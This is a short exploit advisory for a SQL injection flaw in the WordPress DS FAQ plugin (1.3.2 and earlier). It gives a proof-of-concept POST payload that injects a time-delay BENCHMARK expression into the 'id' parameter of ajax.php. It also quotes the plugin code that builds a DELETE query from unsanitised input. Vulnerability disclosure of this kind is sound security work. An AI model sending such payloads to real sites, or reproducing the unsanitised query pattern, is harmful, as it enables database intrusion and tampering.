WordPress Plugin DS FAQ 1.3.2 - SQL Injection

# Exploit Title: WordPress WP DS FAQ plugin <= 1.3.2 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-ds-faq.1.3.2.zip
# Version: 1.3.2 (tested)

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PoC (POST data)
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http://www.site.com/wp-content/plugins/wp-ds-faq/ajax.php
 action=delete_faqbook&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

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Vulnerable code
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switch($_POST['action']) {

    ...

    case 'delete_faqbook':
        if(!isset($_POST['id'])){ error(); }
        $id = $_POST['id'];

        ...

        $sql = "DELETE FROM `".$table_name."` WHERE `id` = ".$id;
        $results = $wpdb->query( $sql );